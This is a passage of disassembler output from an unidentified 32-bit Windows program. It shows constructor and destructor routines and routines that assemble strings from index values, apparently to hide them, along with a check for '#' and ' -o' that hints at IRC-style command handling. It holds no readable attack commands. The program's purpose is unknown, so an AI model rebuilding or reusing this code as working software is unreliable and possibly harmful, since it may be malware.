		lea	ecx, [esp+478h+var_420]
		mov	byte ptr [esp+478h+var_4], 3
		call	sub_401226
		inc	esi
		add	edi, 4
		cmp	esi, 0FFh
		jb	short loc_403591


loc_4035E7:				; CODE XREF: sub_4034E0+B5j
		mov	esi, [esp+478h+arg_0]
		lea	edx, [esp+478h+var_450]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+478h+var_46C], 1
		lea	ecx, [esp+478h+var_450]
		mov	byte ptr [esp+478h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+478h+var_438]
		mov	byte ptr [esp+478h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+478h+var_468]
		mov	byte ptr [esp+478h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+478h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 46Ch
		retn
sub_4034E0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4036B0	proc near		; CODE XREF: sub_401681j
		mov	eax, [ecx+9]
		retn
sub_4036B0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4036D0	proc near		; CODE XREF: sub_40129Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4036D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+9]
		call	sub_402207
		lea	ecx, [esi+52h]
		mov	[esp+14h+var_4], 0
		call	sub_402207
		lea	ecx, [esi+9Bh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_402207
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_402207
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_402207
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_402207
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_402207
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_402207
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_402207
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_402207
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_402207
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_402207
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_402207
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_402207
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_402207
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_402207
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_402207
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_402207
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_402207
		mov	byte ptr [esp+14h+var_4], 12h
		lea	ecx, [esi+574h]
		call	sub_402207
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_402207
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_402207
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_402207
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_402207
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_402207
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_402207
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_402207
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_402207
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_402207
		lea	ecx, [esi+84Eh]
		mov	byte ptr [esp+14h+var_4], 1Ch
		call	sub_402207
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_402207
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_402207
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_402207
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_402207
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_402207
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_402207
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_402207
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_402207
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_402207
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_402207
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401749
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401749
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401749
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401749
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401749
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401749
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401749
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401749
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401749
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401749
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401749
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401749
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401749
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401749
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401749
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401749
		lea	ecx, [esi+0E51h]
		mov	byte ptr [esp+14h+var_4], 37h
		call	sub_401749
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_4011A4
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_4011A4
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_4011A4
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_4011A4
		lea	ecx, [esi+179Fh]
		mov	byte ptr [esp+14h+var_4], 3Ch
		call	sub_4011A4
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E000
		mov	byte ptr [esi+4], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4036D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C00	proc near		; CODE XREF: sub_401023j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C70	proc near		; CODE XREF: sub_4011B3j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E004
		retn
sub_403C70	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C90	proc near		; CODE XREF: sub_402207j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+1Eh]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+33h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D10	proc near		; CODE XREF: sub_401AD2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+33h]
		mov	[esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+1Eh]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D10	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D90	proc near		; CODE XREF: sub_401749j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403E00	proc near		; CODE XREF: sub_4011A4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403E00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_402207
		lea	ecx, [esi+49h]
		mov	[esp+14h+var_4], 0
		call	sub_402207
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_402207
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_402207
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_402207
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_402207
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_402207
		lea	ecx, [esi+1FFh]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_402207
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403E00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403EE0	proc near		; CODE XREF: sub_40206Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403EE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+1FFh]
		mov	[esp+14h+var_4], 6
		call	sub_401AD2
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AD2
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AD2
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AD2
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AD2
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401AD2
		lea	ecx, [esi+49h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AD2
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AD2
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403EE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_403FC0	proc near		; CODE XREF: sub_401D34j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403FC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebp
		push	esi
		push	edi
		push	0
		push	4
		push	9
		push	4Fh
		lea	eax, [esp+70h+var_3C]
		push	2
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+0C29h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_403FC0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4
		push	0Eh
		push	12h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0BCDh]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	15h
		push	0Fh
		push	2
		push	1
		push	4Fh
		lea	ecx, [esp+40h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 2
		call	sub_4017E4
		lea	edx, [esi+0C57h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	15h
		push	3
		push	5
		push	13h
		push	4Fh
		lea	eax, [esp+44h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 3
		call	sub_4017E4
		lea	ecx, [esi+0DF5h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	13h
		push	19h
		push	13h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0C85h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	10h
		push	13h
		push	0Ch
		push	4Fh
		lea	ecx, [esp+38h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 5
		call	sub_4017E4
		lea	edx, [esi+0B71h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		push	4Fh
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 6
		call	sub_4017E4
		lea	ecx, [esi+0DC7h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Eh
		push	5
		push	10h
		push	0Fh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 7
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0D0Fh]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	9
		push	15h
		push	11h
		push	4Fh
		lea	ecx, [esp+3Ch]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 8
		call	sub_4017E4
		lea	edx, [esi+0D99h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	4
		push	0Dh
		push	3
		push	4Fh
		lea	eax, [esp+38h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		mov	dword ptr [esp+5Ch], 9
		push	esi
		mov	ecx, eax
		call	sub_4017E4
		lea	ecx, [esi+0E23h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		lea	edx, [esp+38h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ah
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0D6Bh]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	4Fh
		lea	ecx, [esp+38h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Bh
		call	sub_4017E4
		lea	edx, [esi+0D3Dh]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	0Dh
		push	9
		push	14h
		push	10h
		push	15h
		push	0Ch
		push	4Fh
		lea	eax, [esp+48h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ch
		call	sub_4017E4
		lea	ecx, [esi+0CB3h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Dh
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0CE1h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		db 8Dh
		dd 8924244Ch, 0E85C247Ch, 0FFFFCE26h, 0E8094E8Dh, 0FFFFD3DCh
		dd 0C244C8Dh, 0FE85150h, 83FFFFDCh, 6A08C4h, 1D6A256Ah
		dd 548D236Ah, 286A3424h, 2444C752h, 0E74h, 0D583E800h
		dd 0C483FFFFh, 8DE88B18h, 0C60C244Ch, 0F5C2444h, 0FFD39FE8h
		dd 0CD8B50FFh, 0FFD397E8h, 0F46850FFh, 68004435h, 4D60A5h
		dd 0FFD9AEE8h, 10C483FFh, 24244C8Dh, 5C2444C6h,	0CDB8E80Eh
		dd 206AFFFFh, 4024448Dh, 8D50006Ah, 0E818244Ch,	0FFFFCE32h
		dd 44C6C88Bh, 0E8105C24h, 0FFFFD358h, 35F06850h, 75680044h
		dd 0E8004E6Eh, 0FFFFCB91h, 8D0CC483h, 0C63C244Ch, 0E5C2444h
		dd 0FFCD79E8h, 0C264E8FFh, 8B90023Dh, 4DD3B8C8h, 7C891062h
		dd 0E1F75C24h, 8D06EAC1h, 890C244Ch, 57E80556h,	8BFFFFCDh
		dd 5F54244Ch, 89645D5Eh, 0Dh, 54C48300h, 909090C3h, 3 dup(90909090h)
		dd 54h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_404640	proc near		; CODE XREF: sub_401A32j

var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_404640
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 7Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+94h+arg_0]
		mov	ebp, ecx
		push	edi
		lea	ebx, [esi+2Ah]
		push	0
		mov	ecx, ebx
		mov	[esp+9Ch+var_88], ebp
		call	sub_40146F
		mov	cl, [eax]
		lea	edi, [esi+69h]
		cmp	cl, 23h
		jnz	short loc_404682
		push	ebx
		jmp	short loc_404686
; ---------------------------------------------------------------------------


loc_404682:				; CODE XREF: sub_404640+3Dj
		lea	eax, [esi+15h]
		push	eax


loc_404686:				; CODE XREF: sub_404640+40j
		mov	ecx, edi
		call	sub_401FBE
		mov	al, [esi+94h]
		test	al, al
		jz	short loc_4046A2
		lea	ecx, [esi+15h]
		push	ecx
		mov	ecx, edi
		call	sub_401FBE


loc_4046A2:				; CODE XREF: sub_404640+55j
		mov	al, [esi+95h]
		test	al, al
		jz	short loc_40471F
		lea	ecx, [esp+98h+var_6C]
		call	sub_401424
		push	offset aO	; " -o"
		mov	ecx, esi
		mov	[esp+9Ch+var_4], 0
		call	sub_4013E3
		add	eax, 3
		lea	edx, [esp+98h+var_54]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+9Ch+var_6C]
		mov	byte ptr [esp+9Ch+var_4], 1
		call	sub_401FBE
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], 0
		call	sub_401226
		lea	eax, [esp+98h+var_6C]
		mov	ecx, edi
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226


loc_40471F:				; CODE XREF: sub_404640+6Aj
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_6C]
		push	0
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+98h+var_54]
		mov	ebx, 2
		push	1
		push	edx
		mov	ecx, eax
		mov	[esp+0A0h+var_4], ebx
		call	sub_401E2E
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_401FBE
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		lea	ecx, [ebp+32Ch]
		call	sub_40146F
		push	0
		mov	ecx, esi
		mov	ebp, eax
		call	sub_40146F
		mov	al, [eax]
		mov	cl, [ebp+0]
		cmp	al, cl
		jnz	loc_4049EA
		push	0
		push	14h
		push	1
		push	5
		push	10h
		push	5
		push	12h
		push	4Eh
		push	14h
		push	0Fh
		lea	ecx, [esp+0C0h+var_54]
		push	ebx
		push	ecx
		call	sub_4019B5
		add	esp, 30h
		mov	ecx, eax
		mov	[esp+98h+var_4], 4
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40480F
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0B0h+arg_0], esp
		push	edx
		call	sub_4014C9
		mov	ecx, offset word_448C8E
		call	sub_401CD0
		test	eax, eax
		jz	short loc_40480F
		mov	bl, 1
		jmp	short loc_404811
; ---------------------------------------------------------------------------


loc_40480F:				; CODE XREF: sub_404640+1A6j
					; sub_404640+1C9j
		xor	bl, bl


loc_404811:				; CODE XREF: sub_404640+1CDj
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_4049CE
		push	offset asc_443600 ; " "
		lea	eax, [esp+9Ch+var_54]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	[esp+9Ch+var_4], 5
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	loc_4049EA
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+var_4], 6
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+98h+var_54]
		mov	ebp, eax
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	loc_4049EA
		push	20h
		mov	ecx, esi
		call	sub_401D20
		lea	edx, [esp+98h+var_84]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E2E
		mov	ebx, 7
		push	20h
		lea	ecx, [esp+9Ch+var_84]
		mov	[esp+9Ch+var_4], ebx
		call	sub_401D20
		push	eax
		lea	eax, [esp+9Ch+var_54]
		push	eax
		lea	ecx, [esp+0A0h+var_84]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		mov	byte ptr [esp+9Ch+var_4], 8
		call	sub_40200E
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_84]
		push	ecx
		mov	ecx, esi
		call	sub_401FBE
		push	offset asc_443600 ; " "
		lea	edx, [esp+9Ch+var_24]
		push	0
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+98h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+0A0h+var_4], 9
		call	sub_401E2E
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_401FBE
		lea	ecx, [esp+98h+var_3C]
		mov	byte ptr [esp+98h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+98h+var_24]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		mov	al, [esp+98h+arg_4]
		test	al, al
		jnz	short loc_4049A7
		test	ebp, ebp
		jle	short loc_4049B8


loc_404998:				; CODE XREF: sub_404640+363j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401F69
		dec	ebp
		jnz	short loc_404998
		jmp	short loc_4049B8
; ---------------------------------------------------------------------------
